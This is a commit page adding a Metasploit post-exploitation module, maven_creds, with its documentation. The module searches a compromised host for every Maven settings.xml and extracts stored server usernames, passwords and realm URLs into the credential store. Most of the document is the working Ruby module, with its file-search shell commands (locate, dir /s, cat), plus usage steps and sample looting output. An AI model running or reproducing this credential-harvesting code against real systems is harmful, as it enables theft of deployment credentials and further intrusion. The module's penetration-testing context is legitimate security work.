Land #8831, Add Maven post-exploitation credential extraction module
Merge remote-tracking branch 'upstream/pr/8831' into upstream-masterbug/bundler_fix
commit
a0181a4d54
|
@ -0,0 +1,64 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
[Maven](https://maven.apache.org/) a software project management.
|
||||||
|
This module seeks all settings.xml (Maven configuration file) on the target file system to extract credentials from them.
|
||||||
|
Credentials are store in the <server> tag ; the module also tries to cross the identifier found with the <mirror> or
|
||||||
|
<repository> tag in order to find the full realm the credentials belong to.
|
||||||
|
|
||||||
|
This module was successfully tested against:
|
||||||
|
|
||||||
|
- Ubuntu 14.04 and Maven 3.0.5 with shell and meterpreter as session type
|
||||||
|
- Debian 9 and Maven 3.0.5 with shell and meterpreter as session type
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Get a `shell` or `meterpreter` session on some host.
|
||||||
|
2. Do: ```use post/multi/gather/maven_creds```
|
||||||
|
3. Do: ```set SESSION [SESSION_ID]```
|
||||||
|
4. Do: ```run```
|
||||||
|
5. If the system has readable configuration files (settings.xml) containing username and passwords, they will be printed out.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Ubuntu 14.04 and Maven version 3.0.5
|
||||||
|
|
||||||
|
```
|
||||||
|
msf post(maven_creds) > run
|
||||||
|
|
||||||
|
[*] Finding user directories
|
||||||
|
[*] Unix OS detected
|
||||||
|
[*] Looting 19 files
|
||||||
|
[*] Downloading /home/user/settings.xml
|
||||||
|
[*] Reading settings.xml file from /home/user/settings.xml
|
||||||
|
[*] Collected the following credentials:
|
||||||
|
[*] Id: server-nexus-dev
|
||||||
|
[*] Username: deploynexus-dev
|
||||||
|
[*] Password: password-dev
|
||||||
|
[*] Try to find url from id...
|
||||||
|
[*] No url found, id will be set as realm
|
||||||
|
|
||||||
|
[*] Collected the following credentials:
|
||||||
|
[*] Id: server-nexus-int
|
||||||
|
[*] Username: deploynexus-int
|
||||||
|
[*] Password: password-int
|
||||||
|
[*] Try to find url from id...
|
||||||
|
[*] Found url in mirror : http://www.myhost.com/int
|
||||||
|
|
||||||
|
[*] Collected the following credentials:
|
||||||
|
[*] Id: server-nexus-prd
|
||||||
|
[*] Username: deploynexus-prd
|
||||||
|
[*] Password: password-prd
|
||||||
|
[*] Try to find url from id...
|
||||||
|
[*] Found url in repository : http://www.myhost.com/prd
|
||||||
|
|
||||||
|
|
||||||
|
msf post(maven_creds) > creds
|
||||||
|
|
||||||
|
Credentials
|
||||||
|
===========
|
||||||
|
|
||||||
|
host origin service public private realm private_type
|
||||||
|
---- ------ ------- ------ ------- ----- ------------
|
||||||
|
deploynexus-dev password-dev server-nexus-dev Password
|
||||||
|
deploynexus-int password-int http://www.myhost.com/int Password
|
||||||
|
deploynexus-prd password-prd http://www.myhost.com/prd Password
|
|
@ -0,0 +1,150 @@
|
||||||
|
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'nokogiri'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Post
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Unix
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info(info,
|
||||||
|
'Name' => 'Multi Gather Maven Credentials Collection',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will collect the contents of all users settings.xml on the targeted
|
||||||
|
machine.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => ['elenoir'],
|
||||||
|
'Platform' => %w{ bsd linux osx unix win },
|
||||||
|
'SessionTypes' => ['shell','meterpreter']
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def gathernix
|
||||||
|
print_status("Unix OS detected")
|
||||||
|
files = cmd_exec('locate settings.xml').split("\n")
|
||||||
|
# Handle case where locate does not exist (error is returned in first element)
|
||||||
|
if files.length == 1 && !directory?(files.first)
|
||||||
|
files = []
|
||||||
|
paths = enum_user_directories.map {|d| d}
|
||||||
|
if paths.nil? || paths.empty?
|
||||||
|
print_error("No users directory found")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
paths.each do |path|
|
||||||
|
path.chomp!
|
||||||
|
file = "settings.xml"
|
||||||
|
target = "#{path}/#{file}"
|
||||||
|
if file? target
|
||||||
|
files.push(target)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return files
|
||||||
|
end
|
||||||
|
|
||||||
|
def gatherwin
|
||||||
|
print_status("Windows OS detected")
|
||||||
|
return cmd_exec('cd\ && dir settings.xml /b /s').split("\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
print_status("Finding user directories")
|
||||||
|
files = ""
|
||||||
|
case session.platform
|
||||||
|
when 'windows'
|
||||||
|
files = gatherwin
|
||||||
|
when 'unix', 'linux', 'bsd', 'osx'
|
||||||
|
files = gathernix
|
||||||
|
else
|
||||||
|
print_error("Incompatible platform")
|
||||||
|
end
|
||||||
|
if files.nil? || files.empty?
|
||||||
|
print_error("No settings.xml file found")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
download_loot(files)
|
||||||
|
end
|
||||||
|
|
||||||
|
def download_loot(files)
|
||||||
|
print_status("Looting #{files.count} files")
|
||||||
|
files.each do |target|
|
||||||
|
target.chomp!
|
||||||
|
if file? target
|
||||||
|
print_status("Downloading #{target}")
|
||||||
|
extract(target)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_settings(target, data)
|
||||||
|
xml_doc = Nokogiri::XML(data)
|
||||||
|
xml_doc.remove_namespaces!
|
||||||
|
|
||||||
|
xml_doc.xpath("//server").each do |server|
|
||||||
|
id = server.xpath("id").text
|
||||||
|
username = server.xpath("username").text
|
||||||
|
password = server.xpath("password").text
|
||||||
|
|
||||||
|
print_status("Collected the following credentials:")
|
||||||
|
print_status(" Id: %s" % id)
|
||||||
|
print_status(" Username: %s" % username)
|
||||||
|
print_status(" Password: %s" % password)
|
||||||
|
|
||||||
|
print_status("Try to find url from id...")
|
||||||
|
realm = ""
|
||||||
|
|
||||||
|
xml_doc.xpath("//mirror[id = '#{id}']").each do |mirror|
|
||||||
|
realm = mirror.xpath("url").text
|
||||||
|
print_status("Found url in mirror : #{realm}")
|
||||||
|
end
|
||||||
|
|
||||||
|
if realm.blank?
|
||||||
|
xml_doc.xpath("//repository[id = '#{id}']").each do |repository|
|
||||||
|
realm = repository.xpath("url").text
|
||||||
|
print_status("Found url in repository : #{realm}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if realm.blank?
|
||||||
|
print_status("No url found, id will be set as realm")
|
||||||
|
realm = id
|
||||||
|
end
|
||||||
|
|
||||||
|
print_line("")
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :import,
|
||||||
|
module_fullname: self.fullname,
|
||||||
|
filename: target,
|
||||||
|
service_name: 'maven',
|
||||||
|
realm_value: realm,
|
||||||
|
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
|
||||||
|
private_type: :password,
|
||||||
|
private_data: password,
|
||||||
|
username: username,
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
create_credential(credential_data)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def extract(target)
|
||||||
|
print_status("Reading settings.xml file from #{target}")
|
||||||
|
data = ""
|
||||||
|
if session.type == "shell"
|
||||||
|
data = session.shell_command("cat #{target}")
|
||||||
|
else
|
||||||
|
settings = session.fs.file.new("#{target}", "rb")
|
||||||
|
until settings.eof?
|
||||||
|
data << settings.read
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
parse_settings(target, data)
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue